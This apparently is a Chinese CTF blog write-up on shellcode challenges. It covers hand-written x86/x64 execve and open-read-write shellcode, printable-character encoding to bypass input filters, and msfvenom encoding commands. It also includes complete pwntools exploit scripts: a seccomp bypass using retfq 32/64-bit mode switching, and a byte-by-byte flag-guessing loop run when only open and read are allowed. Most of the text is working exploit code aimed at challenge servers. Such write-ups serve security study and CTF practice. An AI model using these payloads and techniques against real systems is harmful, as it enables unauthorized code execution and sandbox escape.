PWN January 03, 2020

Pwnable.tw的shellcode系列

Words count 71k Reading time 1:04 Read count 0

这篇博客专门讲shellcode的系列,也作为一个复习内容吧,主要针对的是,各种情况下的绕过shellcode检测:

首先是shellcode的生成,一般2种途径:工具+手撕

这里优先推荐手撕,不然你就是脚本小子,遇到难一点的检测机制,还是会绕不过,从最简单的开始:

一、一般的getshell或者orw出flag

32位下:

1、找准寄存器,确定系统调用的对应值

eax、ebx、ecx、edx (对应的是系统调用号+3个参数)

2、execve(“/bin/sh”,0, 0)的情况:

1
2
3
4
5
6
7
8
9
shellcode = asm('''
push 0x68732f
push 0x6e69622f
mov ebx, esp
mov ecx, 0
mov edx, 0
mov eax, 0xb
int 0x80
''')

3、open、read和write来打印flag的情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
shellcode = asm('''
push 0x6761
push 0x6c662f2e
mov ebx, esp
mov ecx, 0
mov eax, 0x5
int 0x80

mov ebx, eax
mov ecx, esp
mov edx, 0x100
mov eax, 0x3
int 0x80

mov ebx, 0x1
mov ecx, esp
mov edx, 0x100
mov eax, 0x4
int 0x80
''')

没有限制字符的情况下。其实汇编自己手撕都是很简单的,64位下也一样:

64位下:

1、找准寄存器,确定系统调用的对应值

rax, rdi, rsi, rdx (对应的是系统调用号+3个参数)

2、execve(“/bin/sh”,0, 0)的情况:

1
2
3
4
5
6
7
8
9
shellcode = asm('''
mov r8, 0x68732f6e69622f
push r8
mov rdi, rsp
mov rsi, 0
mov rdx, 0
mov eax, 0x3b
syscall
''')

3、open、read和write来打印flag的情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#flag版本
shellcode = asm('''
push 0x67616c66
mov rdi, rsp
mov rsi, 0
mov eax, 2
syscall

mov rdi, rax
mov rsi, rsp
mov rdx, 0x100
mov eax, 0
syscall

mov rdi, 1
mov rsi, rsp
mov rdx, 0x100
mov eax, 1
syscall
''')
#./flag版本
shellcode644 = asm('''
mov r8, 0x67616c662f2e
push r8
mov rdi, rsp
mov rsi, 0
mov eax, 2
syscall

mov rdi, rax
mov rsi, rsp
mov rdx, 0x100
mov eax, 0
syscall

mov rdi, 1
mov rsi, rsp
mov rdx, 0x100
mov eax, 1
syscall
''')

上面的是裸的没检测机制的,手撕很快搞定,就不用具体题目说明了,但是是始祖,要会手撕,当遇到有检测机制时,怎么破呢?

二、有检测机制的情况下绕过检测,执行shellcode

这种情况,工具一般是gg的,手撕才是王道,这里有个万金油公式,记一下:

先写read的系统调用(用于绕过检测机制,手撕),第二次read时,read到同样的位置,用nop去覆盖前面的shellcode,直到滑到执行的shellcode处,再写入一般的shellcode,这样就只需要写一个绕过检测的read函数,工作量大大减少,当然也可以全程手撕下来,这种是捷径而已。

death_note:

这题就不图片分析了,就输入能打印的字符的shellcode即可实现getshell:

1、全程手撕:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
shellcode = asm('''
/* execve('/bin///sh',0,0)*/

push 0x68
push 0x732f2f2f
push 0x6e69622f

push esp
pop ebx /*set ebx to '/bin///sh'*/


push edx
dec edx
dec edx /*set dl to 0xfe*/


xor [eax+32],dl /*decode int 0x80*/
xor [eax+33],dl /*decode int 0x80*/

inc edx
inc edx /*recover edx to 0*/

push edx
pop ecx /*set ecx to 0*/

push 0x40
pop eax
xor al,0x4b /*set eax to 0xb*/

/*int 0x80*/
''')+'\x33\x7e'

如果是绕过的形式呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
shellcode = asm('''
dec ebx
dec ebx
xor [eax+0x20],bl
xor [eax+0x21],bl
inc ebx
inc ebx
push eax
pop ecx
push 0x50
pop edx
push ebx
pop eax
inc eax
inc eax
inc eax
push 0x50
push 0x50
push 0x50
push 0x50
push 0x50
push 0x50
''')+'\x33\x7e'
shellcode1 = asm('''
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0x68732f
push 0x6e69622f
mov ebx, esp
mov ecx, 0
mov edx, 0
mov eax, 0xb
int 0x80
''')
sl(shellcode)
sl(shellcode1)

当然也可以直接用工具编码自己的shellcode:

32位的情况下:mfs

安装方法,亲测有效:

https://www.linuxidc.com/Linux/2019-01/156378.htm

生成内置的shellcode,使用:

1
msfvenom -a x86 --platform linux -p linux/x86/exec CMD="/bin/sh" -e x86/alpha_upper BufferRegister=eax

编码自己的shellcode,使用:

1
cat shellcode | msfvenom -a x86 --platform linux -e x86/alpha_upper BufferRegister=eax

这里shellcode文件就是你自己写的一般的shellcode,是”\xaa\xbb”形式的

64位的情况下:

工具网址,亲测有效:

https://github.com/ecx86/shellcode_encoder

用工具生成

1
python2 main.py shellcode rax+29

这里有个局限就是只能生成可打印的shellcode。

来一道史上最难shellcode!真的做了挺久的:

程序64位的,保护基本没怎么开:有个沙箱

57208638877

可以看到系统调用号为5的是32位的下的open函数,只有64位下的read和write和mmap可以用。

57208585281

程序很简单,就是让你输入shellcode,然后执行你的shellcode,但是是要可打印的字符才行,同时禁用了execve函数和open函数,一开始想破脑子都没想法,后来2018年的xnuca那题得到启示,retfq这种东西可以切换32位和64位的状态(前提是地址是4字节的地址,这里只能通过mmap来申请出4字节的地址,然后写shellcode到这个地址上,执行retfq来实现状态切换)所以可以利用这个gadget实现,使用32位的open再使用64位下的read和write函数,就可以cat flag了,整理下思路:

1、利用万能公式,先read绕过check,然后输入shellcode

2、先mmap申请一个4字节的地址,再次read写入shellcode,read调用完,retfq切换状态

3、retfq跳转到新的shellocode处继续执行,先执行32位下的open,再retfq转换状态到64位下

3、跳到新的shellcode处继续执行64位下的read和write

4、记得在每一次read时,加个pause(),这个很重要!不然缓冲区就会继续读入,造成debug能出,但是本地打不通的情况!记住,每次read完加pause()~

这里直接上exp了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
#coding=utf8
from pwn import *
context.log_level = 'debug'
local = 1
elf = ELF('./shellcode')
if local:
p = process('./shellcode')
libc = elf.libc
else:
p = remote('nc.eonew.cn',10011)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))

# bk(0x0000000004002EB)
shellcode =asm('''
push 0x7e
pop rax
xor [rbx+0x20],al
xor [rbx+0x21],al
push rdi
pop rax
push rbx
pop rsi
push 0x7e
pop rdx
push 0x30
push 0x30
push 0x30
push 0x30
push 0x30
push 0x30
push 0x30
push 0x30
''',arch='amd64', os='linux')+'\x71\x7b'
p.recvuntil("Input your shellcode:")
p.sendline(shellcode)
pause()
x86_shellcode_1 = ''
x86_shellcode_1 += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
shellcode1 = asm(
'''
mov r9, 0
mov r8, 0
mov edx, 0x7
mov esi, 0x1000
mov edi, 0x40000000
mov eax, 0x9
syscall
push rax
pop rsi
add rsi, 0x40
mov rdi, 0x0
mov rdx, 0x101
mov rax, 0
syscall
push 0x23
push 0x4000004c
retfq
''',arch='amd64', os='linux')
x86_shellcode_1 += shellcode1
p.sendline(x86_shellcode_1)
pause()
final = asm('''
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esp,0x40000200
push 0x6761
push 0x6c662f2e
mov ebx, esp
mov ecx, 0
mov eax, 5
int 0x80
''',arch='i386', os='linux')
final2 = ''
final2 += asm('''
push rax
pop rcx
push 0x33
push 0x40000078
retfq
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov rax,rcx
mov rdi, rax
mov rsi, rsp
mov rdx, 0x100
mov eax, 0
syscall

mov rdi, 1
mov rsi, rsp
mov rdx, 0x100
mov eax, 1
syscall
nop
nop
''',arch='amd64', os='linux')
shell = ''
shell += final + final2
p.sendline(shell)
p.interactive()

三、只有open和read实现读取flag

先来看下代码逻辑:

image-20210429172851491

可以发现开了沙箱,然后运行发现只能open和read:

image-20210429172923331

这种情况下一般是要通过root权限才能执行成功的,因为涉及到权限问题!

那么没有write函数的情况下,我们就需要自己写个比较的汇编代码,这里想到用异或实现比较输入的值和flag值,作为rax的值,成功就继续读取,失败了就重启重新选择新的值,半自动化解题,具体代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
# -*- coding: utf-8 -*-
from pwn import *
# from libformatstr import FormatStr
context.log_level = 'debug'
# context.terminal=['tmux','splitw','-h']
context(arch='amd64', os='linux')
# context(arch='i386', os='linux')
local = 1
elf = ELF('./chall')
if local:
p = process('./chall')
libc = elf.libc
else:
p = remote('8.131.246.36',40334)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6)
#more onegadget
#one_gadget -l 200 /lib/x86_64-linux-gnu/libc.so.6
one64 = [0x45226,0x4527a,0xf0364,0xf1207]
# [rax == NULL;[rsp+0x30] == NULL,[rsp+0x50] == NULL,[rsp+0x70] == NULL]
#onegadget32(libc.so.6)
# one32 = [0x3ac5c,0x3ac5e,0x3ac62,0x3ac69,0x5fbc5,0x5fbc6]

# py32 = fmtstr_payload(start_read_offset,{xxx_got:system_addr})
# sl(py32)
# py64 = FormatStr(isx64=1)
# py64[printf_got] = onegadget
# sl(py64.payload(start_read_offset))

# shellcode = asm(shellcraft.sh())
shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
def pack_file(_flags = 0,
_IO_read_ptr = 0,
_IO_read_end = 0,
_IO_read_base = 0,
_IO_write_base = 0,
_IO_write_ptr = 0,
_IO_write_end = 0,
_IO_buf_base = 0,
_IO_buf_end = 0,
_IO_save_base = 0,
_IO_backup_base = 0,
_IO_save_end = 0,
_IO_marker = 0,
_IO_chain = 0,
_fileno = 0,
_lock = 0,
_wide_data = 0,
_mode = 0):
file_struct = p32(_flags) + \
p32(0) + \
p64(_IO_read_ptr) + \
p64(_IO_read_end) + \
p64(_IO_read_base) + \
p64(_IO_write_base) + \
p64(_IO_write_ptr) + \
p64(_IO_write_end) + \
p64(_IO_buf_base) + \
p64(_IO_buf_end) + \
p64(_IO_save_base) + \
p64(_IO_backup_base) + \
p64(_IO_save_end) + \
p64(_IO_marker) + \
p64(_IO_chain) + \
p32(_fileno)
file_struct = file_struct.ljust(0x88, "\x00")
file_struct += p64(_lock)
file_struct = file_struct.ljust(0xa0, "\x00")
file_struct += p64(_wide_data)
file_struct = file_struct.ljust(0xc0, '\x00')
file_struct += p64(_mode)
file_struct = file_struct.ljust(0xd8, "\x00")
return file_struct

def pack_file_flush_str_jumps(_IO_str_jumps_addr, _IO_list_all_ptr, system_addr, binsh_addr):
payload = pack_file(_flags = 0,
_IO_read_ptr = 0x61, #smallbin4file_size
_IO_read_base = _IO_list_all_ptr-0x10, # unsorted bin attack _IO_list_all_ptr,
_IO_write_base = 0,
_IO_write_ptr = 1,
_IO_buf_base = binsh_addr,
_mode = 0,
)
payload += p64(_IO_str_jumps_addr-8) # vtable
payload += p64(0) # paddding
payload += p64(system_addr)
return payload

def get_io_str_jumps_offset(libc):
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
# print possible_IO_str_jumps_offset
return possible_IO_str_jumps_offset

def house_of_orange_payload(libc, libc_base):
io_str_jump = libc_base + get_io_str_jumps_offset(libc)
io_list_all = libc_base + libc.symbols['_IO_list_all']
system = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search('/bin/sh'))
payload = pack_file_flush_str_jumps(io_str_jump, io_list_all, system, bin_sh)
return payload

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(mallocr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+mallocr)))
else:
gdb.attach(p,"b *{}".format(hex(mallocr)))

# with open('1.txt','wb+') as f:
# s = ""
# for i in shellcode:
# s += "0x" + i.encode("hex")
# for i in s:
# f.write(i)

# def mid_overflow(offset,func_got,rdi,rsi,rdx,next_func):
# payload = ''
# payload += 'a'*offset
# payload += 'aaaaaaaa'
# payload += p64(pppppp_ret)
# payload += p64(0)
# payload += p64(0)
# payload += p64(1)
# payload += p64(func_got)
# payload += p64(rdx)
# payload += p64(rsi)
# payload += p64(rdi)
# payload += p64(mov_ret)
# payload += p64(0)
# payload += p64(0)
# payload += p64(0)
# payload += p64(0)
# payload += p64(0)
# payload += p64(0)
# payload += p64(0)
# payload += p64(next_func)
# ru('Input:\n')
# sd(payload)

def malloc(size,content):
ru("> ")
sl('1')
ru()
sl(str(size))
ru()
sd(content)
def free(index):
ru("> ")
sl('3')
ru()
sl(str(index))
def edit(index,content):
ru("> ")
sl('2')
ru()
sl(str(index))
ru()
sd(content)
def show(index):
ru("> ")
sl('4')
ru()
sl(str(index))

def pwn_it(key):
shellcode_read = asm('''
mov rdi, 0
mov rsi, 0x10100
mov rdx, 0x120
mov eax, 0
syscall
mov rsp,0x10100
jmp rsp
''')
shellcode = asm('''
push 0x67616c66
mov rdi,rsp
mov rsi,0
mov rdx,0
mov eax,2
syscall

mov rdi, 3
mov rsi, 0x10300
mov rdx, 0x100
mov eax, 0
syscall
mov r8,0

mov rdi, 0
mov rsi, 0x10400
mov rdx, 0x1
mov eax, 0
syscall

mov rdi,0x10300
mov al,byte ptr[rdi+r8]
mov dl,byte ptr[0x10400]
xor rax,rdx

mov rdi, 0
mov rsi, 0x10400
mov rdx, 0x1
syscall

inc r8
mov rcx,0x1015c
jmp rcx
''')
ru("Welcome to silent execution-box.")
# debug(0x000000000000C94)
sl(shellcode_read)
sleep(0.01)
sd(shellcode)
sleep(0.01)
sd('f')
sleep(0.01)
sd('l')
sleep(0.01)
sd('a')
sleep(0.01)
sd('g')
sleep(0.01)
sd('{')
sleep(0.01)
sd('1')
sleep(0.01)
sd('2')
sleep(0.01)
sd('3')
sleep(0.01)
sd('4')
sleep(0.01)
sd('5')
sleep(0.01)
sd('4')
sleep(0.01)
sd('5')
sleep(0.01)
sd('5')
sleep(0.01)
sd('}')
sleep(0.01)
sd(chr(key))

i = 0
key = 0x30
# key = 0x61
while 1:
print i
i += 1
try:
pwn_it(key)
print "yes!"
print "value---->"+chr(key)
except EOFError:
print "no!"
p.close()
local = 1
key += 1
# sl('\n')
elf = ELF('./chall')
if local:
p = process('./chall')
libc = elf.libc
continue
else:
p = remote('8.131.246.36',40334)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
continue
p.interactive()
0%